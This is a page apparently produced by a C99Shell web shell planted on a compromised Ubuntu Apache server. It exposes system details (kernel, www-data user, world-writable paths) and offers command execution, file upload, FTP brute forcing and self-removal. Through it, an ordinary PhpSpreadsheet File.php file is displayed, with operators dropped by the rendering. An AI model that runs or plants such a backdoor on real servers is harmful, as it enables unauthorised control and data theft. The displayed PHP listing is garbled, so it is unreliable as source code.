!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/   drwxrwxrwx
Free 13.33 GB of 57.97 GB (23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     File.php (3.98 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Shared;

use 
InvalidArgumentException;
use 
ZipArchive;

class 
File
{
    
/**
     * Use Temp or File Upload Temp for temporary files.
     *
     * @var bool
     */
    
protected static $useUploadTempDirectory false;

    
/**
     * Set the flag indicating whether the File Upload Temp directory should be used for temporary files.
     *
     * @param bool $useUploadTempDir Use File Upload Temporary directory (true or false)
     */
    
public static function setUseUploadTempDirectory($useUploadTempDir): void
    
{
        
self::$useUploadTempDirectory = (bool) $useUploadTempDir;
    }

    
/**
     * Get the flag indicating whether the File Upload Temp directory should be used for temporary files.
     *
     * @return bool Use File Upload Temporary directory (true or false)
     */
    
public static function getUseUploadTempDirectory()
    {
        return 
self::$useUploadTempDirectory;
    }

    
/**
     * Verify if a file exists.
     *
     * @param string $pFilename Filename
     *
     * @return bool
     */
    
public static function fileExists($pFilename)
    {
        
// Sick construction, but it seems that
        // file_exists returns strange values when
        // doing the original file_exists on ZIP archives...
        
if (strtolower(substr($pFilename03)) == 'zip') {
            
// Open ZIP file and verify if the file exists
            
$zipFile substr($pFilename6strpos($pFilename'#') - 6);
            
$archiveFile substr($pFilenamestrpos($pFilename'#') + 1);

            
$zip = new ZipArchive();
            if (
$zip->open($zipFile) === true) {
                
$returnValue = ($zip->getFromName($archiveFile) !== false);
                
$zip->close();

                return 
$returnValue;
            }

            return 
false;
        }

        return 
file_exists($pFilename);
    }

    
/**
     * Returns canonicalized absolute pathname, also for ZIP archives.
     *
     * @param string $pFilename
     *
     * @return string
     */
    
public static function realpath($pFilename)
    {
        
// Returnvalue
        
$returnValue '';

        
// Try using realpath()
        
if (file_exists($pFilename)) {
            
$returnValue realpath($pFilename);
        }

        
// Found something?
        
if ($returnValue == '' || ($returnValue === null)) {
            
$pathArray explode('/'$pFilename);
            while (
in_array('..'$pathArray) && $pathArray[0] != '..') {
                
$iMax count($pathArray);
                for (
$i 0$i $iMax; ++$i) {
                    if (
$pathArray[$i] == '..' && $i 0) {
                        unset(
$pathArray[$i], $pathArray[$i 1]);

                        break;
                    }
                }
            }
            
$returnValue implode('/'$pathArray);
        }

        
// Return
        
return $returnValue;
    }

    
/**
     * Get the systems temporary directory.
     *
     * @return string
     */
    
public static function sysGetTempDir()
    {
        if (
self::$useUploadTempDirectory) {
            
//  use upload-directory when defined to allow running on environments having very restricted
            //      open_basedir configs
            
if (ini_get('upload_tmp_dir') !== false) {
                if (
$temp ini_get('upload_tmp_dir')) {
                    if (
file_exists($temp)) {
                        return 
realpath($temp);
                    }
                }
            }
        }

        return 
realpath(sys_get_temp_dir());
    }

    
/**
     * Assert that given path is an existing file and is readable, otherwise throw exception.
     *
     * @param string $filename
     */
    
public static function assertFile($filename): void
    
{
        if (!
is_file($filename)) {
            throw new 
InvalidArgumentException('File "' $filename '" does not exist.');
        }

        if (!
is_readable($filename)) {
            throw new 
InvalidArgumentException('Could not open "' $filename '" for reading.');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0104 ]--